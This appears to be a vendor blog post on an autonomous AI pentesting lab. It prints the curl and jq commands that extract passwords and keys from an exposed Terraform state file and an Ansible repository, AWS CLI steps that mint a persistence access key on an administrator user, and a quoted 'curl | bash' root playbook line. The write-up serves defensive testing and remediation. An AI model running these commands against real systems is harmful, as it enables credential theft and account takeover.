· 7 min read
A Terraform state file is a plaintext inventory of your infrastructure, including the attributes Terraform had to know in order to create it. Database passwords, generated access keys and private keys all land in it, in clear, whatever the provider marks as sensitive. Terraform documents this. It is still one of the most common ways an environment leaks its own credentials.
We built a lab around that failure mode: a state file served by a plain Python HTTP server with no authentication, an Ansible repository exposed by directory listing next to it, and a LocalStack AWS account reflecting what the state described. Then we let Darkmoon dispatch on it. Three specialist agents, terraform, aws and ansible, ran as a parallel cascade against the same environment.
What the agents found
The report table lists 34 rows. The executive summary counts 16 unique findings (10 critical, 3 high, 3 medium), because the three parallel agents each recorded the surfaces they shared. We give both numbers rather than picking the flattering one.
| Severity | Count |
|---|---|
| Critical | 21 rows (16 exploited) |
| High | 5 rows |
| Medium | 8 rows |
| Low | 0 |
| Total | 34 rows / 16 unique |
The summary also states the concrete outcome: 12 distinct secrets extracted, covering database passwords, AWS access keys, SSH credentials, a Grafana admin password and an RSA private key.
Chain one: one unauthenticated GET
curl -s --max-time 15 http://127.0.0.1:8888/terraform.tfstate
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.14.6
Content-type: application/octet-stream
Content-Length: 719That is the entire exploit. The agent then queried the document rather than eyeballing it, one jq filter per resource type, which is what makes each finding independently reproducible:
curl -s http://127.0.0.1:8888/terraform.tfstate | jq -r \
'.resources[] | select(.type=="aws_db_instance") | .instances[].attributes
| {identifier,username,password,endpoint}'
-> identifier: prod-db
username: dbadmin
password: <redacted, in the report>
endpoint: prod-db.abc123.eu-west-1.rds.amazonaws.com:5432
curl -s http://127.0.0.1:8888/terraform.tfstate | jq -r \
'.resources[] | select(.type=="aws_iam_access_key") | .instances[].attributes
| {id,secret,status}'
-> id: AKIAIOSFODNN7EXAMPLE status: Active
curl -s http://127.0.0.1:8888/terraform.tfstate | jq -r \
'.resources[] | select(.type=="tls_private_key") | .instances[].attributes.private_key_pem'
-> -----BEGIN RSA PRIVATE KEY----- ... -----END RSA PRIVATE KEY-----Three resource types, three classes of secret: a production RDS password with its endpoint, an active IAM access key, and a deploy private key. The state file also disclosed the Terraform version and the full resource graph, and the backend directory itself had listing enabled, which is how the agent found the file name in the first place.
Chain two: the Ansible repository next door
The same environment exposed an Ansible tree over HTTP with directory listing on. Two files carried everything:
curl -s --max-time 15 http://127.0.0.1:8890/inventory.ini
[web]
web01 ansible_host=<internal ip> ansible_user=deploy ansible_ssh_pass=<redacted>
[db]
db01 ansible_host=<internal ip> ansible_user=root ansible_become_pass=<redacted>
curl -s --max-time 15 http://127.0.0.1:8890/group_vars_all.yml
vault_aws_access_key: AKIAIOSFODNN7EXAMPLE
vault_aws_secret_key: <redacted>
grafana_admin_password: <redacted>An inventory with ansible_ssh_pass and ansible_become_pass in the clear is remote access plus root on the database host, handed over by a static file. The file also discloses the internal network topology, which the report records separately as a medium finding.
The playbook was worse, and it is the only finding in the campaign rated 10.0:
curl -s --max-time 15 http://127.0.0.1:8890/site.yml
- hosts: all
become: true
tasks:
- name: run maintenance
shell: "curl -s http://internal/deploy.sh | bash"Every managed host runs a script fetched over plain HTTP, as root, on every run. Anyone who can answer for that hostname owns the fleet. The agent classified this as a supply chain remote code execution pattern and marked it confirmed rather than exploited, because it read the playbook and did not run it.
Chain three: from a leaked key to account takeover
The AWS side was a LocalStack account standing in for the real one. The agent enumerated IAM, found the CI user, and demonstrated the escalation:
aws --endpoint-url http://localhost:4566 iam list-attached-user-policies --user-name ci-deploy
-> {"PolicyName":"AdministratorAccess",
"PolicyArn":"arn:aws:iam::aws:policy/AdministratorAccess"}
aws --endpoint-url http://localhost:4566 iam create-access-key --user-name ci-deploy
-> AccessKeyId: LKIAQAAAAAAANM4FSRLD Status: Active
aws --endpoint-url http://localhost:4566 sts get-caller-identity # with the new key
-> Arn: arn:aws:iam::000000000000:user/ci-deploy
aws --endpoint-url http://localhost:4566 iam delete-access-key \
--user-name ci-deploy --access-key-id LKIAQAAAAAAANM4FSRLDThat last line matters as much as the others. The agent minted a second access key on an administrator user to prove the persistence primitive, then deleted it. Proof, then cleanup, recorded in the same finding.
With that identity it read Secrets Manager and pulled the production database credentials from the prod/db secret, which is the second, independent path to the same password already sitting in the state file. It also recorded that the account has no CloudTrail and no GuardDuty, so none of this would have generated an alert, and that 90 or more EBS snapshots are unencrypted.
What the report does not claim
The two playbook findings are rated 10.0 and marked confirmed, not exploited. The agent never executed the playbook and never connected to web01 or db01 with the credentials it read. It proved the credentials exist and are readable by anyone, which is the finding. Walking into the hosts would have been out of scope for a non-destructive run, and the report does not imply it happened.
Remediation
- Never serve state from an unauthenticated file server. Use a backend with authentication, encryption at rest and state locking, and restrict who can read it.
- Assume every secret that has ever been in a state file is compromised: rotate the RDS password, the IAM key and the TLS private key rather than just moving the file.
- Stop putting generated credentials in state. Reference a secret manager, or generate passwords out of band and inject them at deploy time.
- Move the Ansible inventory secrets into
ansible-vaultor a secret store, and remove directory listing from anything serving infrastructure code. - Replace
curl | bashwith a pinned, checksum verified artefact fetched over TLS, and dropbecome: truewhere it is not needed. - Scope the CI identity down from
AdministratorAccess, and enable CloudTrail and GuardDuty so that key minting is at least visible.
What this proves about autonomous pentesting
The three agents were dispatched in parallel on the same host and each stayed in its lane: the Terraform agent parsed state, the AWS agent worked the account, the Ansible agent read the repository. The overlap in the findings table is the honest cost of that design, and the executive summary reconciles it to 16 unique issues. What the run shows is that the chain from a forgotten file server to an administrator credential is short, mechanical and entirely automatable, which is precisely why it is worth testing continuously rather than once a year.